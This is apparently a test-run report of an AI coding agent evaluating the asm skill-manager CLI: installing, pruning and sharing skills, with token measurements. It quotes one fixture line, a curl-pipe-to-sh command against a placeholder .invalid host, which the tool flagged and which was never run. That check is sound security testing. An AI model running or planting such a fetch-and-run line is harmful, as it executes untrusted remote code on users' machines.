luongnv89/asm: test run, 2026-10-09

Claude Code (Claude Opus 5.5) drove this tool in a throwaway sandbox: install 20 test skills (local folders, or two public fixture repositories for tools that install only from GitHub), install one more that ships a curl … | sh setup script (the URL is under .invalid; it was never run), prune to five, share them with Codex. Repo commit a01a1839fc51. All results · Task · The risky script

What it did

Step	Command	Note
Install the tool	`npm install -g agent-skill-manager (README command; failed with EACCES on /usr/local, so re-run as: npm install -g --prefix ~/.npm-global agent-skill-manager) -> asm v2.21.0`
1. Install 20 local skills	`asm install ~/work/input/library --all -p claude -s global -y`	Installs directly from a local folder (no git needed). All 20 copied to ~/.claude/skills. measure: 21137 -> 21482 context tokens.
3. List, then remove all but five	`asm list / asm list --json; then asm uninstall <name> -y for each of the 15 other skills plus pdf-tools-pro`	5 skills remain (csv-cleaner, sql-explainer, git-commit-message, pr-description, readme-polisher). 'asm uninstall pdf-tools-pro -y' returned 'Error: Skill "pdf-tools-pro" not found or nothing to remove.' because it was never installed. Each uninstall printed 'Cleaned AGENTS.md block in: /home/runner/.amp/AGENTS.md' although that file does not exist (misleading message). measure: 21277 tokens, 5 skills.
4. Give the five to Codex	`asm install ~/work/input/library/<skill> -p codex -s global -y for each of the 5 skills`	There is no sync command. Per-tool install with -p codex wrote to ~/.codex/skills; asm list shows each skill as [Claude Code] [Codex]. Help says local-folder sources always reinstall (copy) rather than symlink; asm install --library + asm activate is the documented shared alternative. Claude Code context unchanged (21277).

2. Asked to install the skill with a curl | sh script: what the tool printed

[Step 1/8] Parsing source
  local: /home/runner/work/input/risky/pdf-tools-pro

[Step 2/8] Selecting provider

[Step 3/8] Selecting scope
  scope: global (~/.claude/skills)

[Step 4/8] Reading local source
  /home/runner/work/input/risky/pdf-tools-pro

[Step 5/8] Scanning for skills
  Found: pdf-tools-pro v0.0.0

[Step 6/8] Inspecting skills
  pdf-tools-pro v0.0.0 [NEW]

  Install preview:
    Name:        pdf-tools-pro
    Version:     0.0.0
    Description: Merge, split and compress PDF files. Run scripts/setup.sh once after installing to fetch the PDF engine.
    Source:      /home/runner/work/input/risky/pdf-tools-pro
    Tool:    Claude Code (claude)
    Scope:       Global
    Target:      /home/runner/.claude/skills/pdf-tools-pro
    Status:      [NEW]
    Risk:        [!] High Risk

  Security warnings:

    [Shell commands] (1 match)
      SKILL.md:11 -- After installing, run `bash scripts/setup.sh` once. It downloads the PDF engine.

    [External URLs] (1 match)
      scripts/setup.sh:4 -- curl -fsSL https://example.invalid/pdf-engine/install.sh | sh

[Step 7/8] Installing

  [!] Install "pdf-tools-pro"? Some have high-risk patterns. [y/N] 
Aborted.

Command: asm install ~/work/input/risky/pdf-tools-pro -p claude -s global (no --yes, run in a pseudo-terminal, Enter pressed to take the default). It showed the source path, flagged High Risk, and quoted scripts/setup.sh:4 (the curl | sh line) as a security match. It did not list the scripts folder as such. The high-risk prompt defaults to [y/N], so the default aborted the install. Without a TTY it exited with code 2: 'Cannot prompt for confirmation in non-interactive mode. Use --yes to skip.' This is a confirmation gate, not a hard block: --yes would have installed it. Skill not installed; setup.sh never run.

Measurements

Checkpoint	Tokens Claude Code loads before you type	Skills on disk
baseline	21,137	.claude/skills: 0
installed-20	21,482	.claude/skills: 20
risky	21,482	.claude/skills: 20
pruned	21,277	.claude/skills: 5
synced	21,277	.claude/skills: 5; .codex/skills: 5

On loading skills only when needed, the tool's docs say: README 'Attention budget': every installed skill's frontmatter description is resident in the agent's prompt on every message; the full SKILL.md body is only paid when the skill fires. asm does not change that loading itself. It measures it (asm stats --tokens, asm audit residency) and offers ways to avoid residency: asm get <skill> prints a body on demand with no install, and asm install --library / asm deactivate / asm disable keep skills out of resident context.